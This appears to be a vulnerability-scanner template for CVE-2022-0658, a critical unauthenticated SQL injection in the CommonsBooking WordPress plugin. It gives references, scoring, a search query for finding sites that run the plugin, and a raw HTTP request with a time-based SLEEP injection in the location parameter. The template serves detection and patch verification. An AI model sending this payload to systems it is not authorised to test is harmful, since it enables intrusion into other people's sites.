id: CVE-2022-0658 info: name: CommonsBooking < 2.6.8 - SQL Injection author: theamanrawat severity: critical description: | The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection. remediation: Fixed in version 2.6.8 reference: - https://wpscan.com/vulnerability/d7f0805a-61ce-454a-96fb-5ecacd767578 - https://wordpress.org/plugins/commonsbooking/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0658 - https://github.com/cyllective/CVEs classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0658 cwe-id: CWE-89 epss-score: 0.04032 epss-percentile: 0.92073 cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wielebenwir product: commonsbooking framework: wordpress google-query: inurl:/wp-content/plugin/commonsbooking/ tags: cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir http: - raw: - | @timeout: 20s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3) matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(header, "application/json")' - 'contains(body, "partiallyBookedDays") && contains(body, "lockDays")' condition: and # digest: 4a0a00473045022100dea516f929140a2e2296985cd78a610dc540408796d4ac65fb462ea4200221ec02204757fe9ea8722ca648c35531743432d486f7d889c7b60b6529123bd0d7c443bd:922c64590222798bb761d5b6d8e72950